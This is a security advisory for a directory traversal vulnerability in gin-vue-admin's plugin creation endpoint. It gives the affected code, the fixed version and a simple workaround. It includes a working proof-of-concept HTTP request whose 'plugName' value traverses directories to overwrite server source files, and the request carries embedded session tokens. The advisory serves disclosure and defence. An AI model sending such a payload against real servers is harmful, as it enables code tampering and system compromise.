GHSA-gv3w-m57p-3wc4 gin-vue-admin background arbitrary code coverage vulnerability

• Go github.com/flipped-aurora/gin-vue-admin/server: < 0.0.0-20240409100909-b1b7427c6ea6 → fixed in 0.0.0-20240409100909-b1b7427c6ea6

Impact "gin-vue-admin Plugin Template feature, an attacker can perform directory traversal by manipulating the 'plugName' parameter. They can create specific folders such as 'api', 'config', 'global', 'model', 'router', 'service', and 'main.go' function within the specified traversal directory. Moreover, the Go files within these folders can have arbitrary code inserted based on a specific PoC parameter." Affected code: https://github.com/flipped-aurora/gin-vue-admin/blob/746af378990ebf3367f8bb3d4e9684936df152e7/server/api/v1/system/sys_auto_code.go:239. Let's take a look at the method 'AutoPlug' within the 'AutoCodeApi' struct. ```go func (autoApi *AutoCodeApi) AutoPlug(c *gin.Context) { var a system.AutoPlugReq err := c.ShouldBindJSON(&a) if err != nil { response.FailWithMessage(err.Error(), c) return } a.Snake = strings.ToLower(a.PlugName) a.NeedModel = a.HasRequest || a.HasResponse err = autoCodeService.CreatePlug(a) if err != nil { global.GVA_LOG.Error("预览失败!", zap.Error(err)) response.FailWithMessage("预览失败", c) return } response.Ok(c) } ``` The main reason for the existence of this vulnerability is the controllability of the PlugName field within the struct. ```go type AutoPlugReq struct { PlugName string `json:"plugName"` // 必然大写开头 Snake string `json:"snake"` // 后端自动转为 snake RouterGroup string `json:"routerGroup"` HasGlobal bool `json:"hasGlobal"` HasRequest bool `json:"hasRequest"` HasResponse bool `json:"hasResponse"` NeedModel bool `json:"needModel"` Global []AutoPlugInfo `json:"global,omitempty"` Request []AutoPlugInfo `json:"request,omitempty"` Response []AutoPlugInfo `json:"response,omitempty"` } ``` POC： ``` POST /api/autoCode/createPlug HTTP/1.1 Host: 192.168.31.18:8080 Content-Length: 326 Accept: application/json, text/plain, */* x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIxMTM4MywibmJmIjoxNzExNjA2NTgzfQ.uq61pJNi4kzUXb8lEkVa7NBCBvp_Ye59fee-TJV_rpE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 x-user-id: 1 Content-Type: application/json Origin: http://192.168.31.18:8080 Referer: http://192.168.31.18:8080/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6 Cookie: x-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiNzJlZWQ4OTUtYzUwOC00MDFiLWIyYzQtMTk2MWMyOTlkOWNhIiwiSUQiOjEsIlVzZXJuYW1lIjoiYWRtaW4iLCJOaWNrTmFtZSI6Ik1yLuWlh-a3vCIsIkF1dGhvcml0eUlkIjo4ODgsIkJ1ZmZlclRpbWUiOjg2NDAwLCJpc3MiOiJxbVBsdXMiLCJhdWQiOlsiR1ZBIl0sImV4cCI6MTcxMjIyMDA4NiwibmJmIjoxNzExNjE1Mjg2fQ.XVV97Ky17E9pUO_byVgK--FnAp9ye4Tpab2jnma6dBU Connection: close {"plugName":"../../../server/","routerGroup":"111" ,"hasGlobal":true,"hasRequest":false,"hasResponse":false,"global":[{"key":"1","type":"1","desc":"1"},{"key":"type","value":"faspohgoahgioahgioahgioashogia","desc":"1","type":"string"}],"request":[{"key":"","type":"","desc":""}],"response":[{"key":"","type":"","desc":""}]} ``` By performing directory traversal and creating directories such as api, config, global, model, router, and service within the gin-vue-admin/server directory, an attacker can tamper with the source code and the main.go file. They can potentially overwrite or tamper with the Go source code files located in the directory C:\代码审计\server to further compromise the system. Patches Please wait for the latest patch Workarounds You can use the following filtering methods to rectify the directory traversal problem if strings.Index(plugPath, "..") > -1 {         fmt.Println("no bypass",plugPath)     } References https://github.com/flipped-aurora/gin-vue-admin